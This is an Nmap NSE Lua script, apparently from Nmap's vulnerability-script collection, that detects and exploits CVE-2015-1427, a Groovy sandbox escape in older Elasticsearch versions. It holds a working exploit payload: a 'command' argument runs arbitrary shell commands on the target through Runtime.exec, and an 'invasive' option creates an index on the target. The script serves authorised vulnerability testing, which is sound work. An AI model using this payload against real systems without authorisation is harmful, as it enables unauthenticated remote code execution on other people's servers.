1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local json = require "json"
local nmap = require "nmap"
local rand = require "rand"
description = [[
This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers
to leverage features of this API to gain unauthenticated remote code execution (RCE).
Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
commands as the user running the Elasticsearch Java VM.
]]
---
-- @args command Enter the shell comannd to be executed. The script outputs the Java
-- and Elasticsearch versions by default.
-- @args invasive If set to true then it creates an index if there are no indices.
--
-- @usage
-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
--
--@output
-- | http-vuln-cve2015-1427:
-- | VULNERABLE:
-- | ElasticSearch CVE-2015-1427 RCE Exploit
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2015-1427
-- | Risk factor: High CVSS2: 7.5
-- | The vulnerability allows an attacker to construct Groovy
-- | scripts that escape the sandbox and execute shell commands as the user
-- | running the Elasticsearch Java VM.
-- | Exploit results:
-- | ElasticSearch version: 1.3.7
-- | Java version: 1.8.0_45
-- | References:
-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
-- | https://github.com/elastic/elasticsearch/issues/9655
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
author = {"Gyanendra Mishra", "Daniel Miller"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
portrule = shortport.port_or_service(9200, "http", "tcp")
local function parseResult(parsed)
-- for commands that return printable results
if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
return parsed.hits.hits[1].fields.exploit[1]
end
-- mkdir(etc) command seems to work but as it returns no result
if parsed.hits.total > 0 then
return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
end
return false
end
action = function(host, port)
local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
local payload = {
size= 1,
query= {
match_all= {}
},
script_fields= {
exploit= {
lang= "groovy",
-- This proves vulnerability because the fix was to prevent access to
-- .class and .forName
script= '"ElasticSearch version: "+\z
java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
"\\n Java version: "+\z
java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
}
}
}
if command then
payload.script_fields.exploit.script = string.format(
'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
%s).getInputStream()).useDelimiter("highlyunusualstring").next()',
json.generate(command))
end
local json_payload = json.generate(payload)
local vuln_table = {
title = "ElasticSearch CVE-2015-1427 RCE Exploit",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
references = {
'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
'https://github.com/elastic/elasticsearch/issues/9655'
},
IDS = {
CVE = 'CVE-2015-1427'
},
scores = {
CVSS2 = '7.5'
},
description = [[The vulnerability allows an attacker to construct Groovy
scripts that escape the sandbox and execute shell commands as the user
running the Elasticsearch Java VM.]]
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local cleanup = function() return end
local nocache = {no_cache=true, bypass_cache=true}
--lets check the elastic search version.
local response = http.get(host, port, '/')
if response.status == 200 and response.body then
local status, parsed = json.parse(response.body)
if not(status) then
stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
return nil
else
if parsed.version.number then
--check if a vulnerable version is running
if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
vuln_table.state = vulns.STATE.LIKELY_VULN
end
--help the version/service detection.
port.version = {
name = 'elasticsearch',
name_confidence = 10,
product = 'Elastic elasticsearch',
version = tostring(parsed.version.number),
service_tunnel = 'none',
cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
}
nmap.set_port_version(host,port,'hardmatched')
else
stdnse.debug1('Cant Be Elastic search as no version number present.')
return nil
end
end
else
stdnse.debug1('Not Running Elastic Search.')
return nil
end
-- check if it is indexed, if not create index
response = http.get(host,port,'_cat/indices', nocache)
if response.status ~= 200 then
stdnse.debug1( "Couldnt fetch indices.")
return report:make_output(vuln_table)
elseif response.body == '' then
if invasive then
local rand = rand.random_alpha(8)
cleanup = function()
local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
if r.status ~= 200 or not r.body:match('"acknowledged":true') then
stdnse.debug1( "Could not delete index created by invasive script-arg")
end
end
local data = { [rand] = rand }
stdnse.debug1("Creating Index. 5 seconds wait.")
response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
if not(response.status == 201) then
stdnse.debug1( "Didnt have any index. Creating index failed.")
return report:make_output(vuln_table)
end
stdnse.sleep(5) -- search will not return results immediately
else
stdnse.debug1("Not Indexed. Try the invasive option ;)")
return report:make_output(vuln_table)
end
end
--execute the command
local target = '_search'
response = http.post(host, port, target ,nil ,nil ,(json_payload))
if not(response.body) or not(response.status==200) then
cleanup()
return report:make_output(vuln_table)
else
local status,parsed = json.parse(response.body)
if ( not(status) ) then
stdnse.debug1("JSON not parsable.")
cleanup()
return report:make_output(vuln_table)
end
--if the parseResult function returns something then lets go ahead
local results = parseResult(parsed)
if results then
vuln_table.state = vulns.STATE.EXPLOIT
vuln_table.exploit_results = results
end
end
cleanup()
return report:make_output(vuln_table)
end
|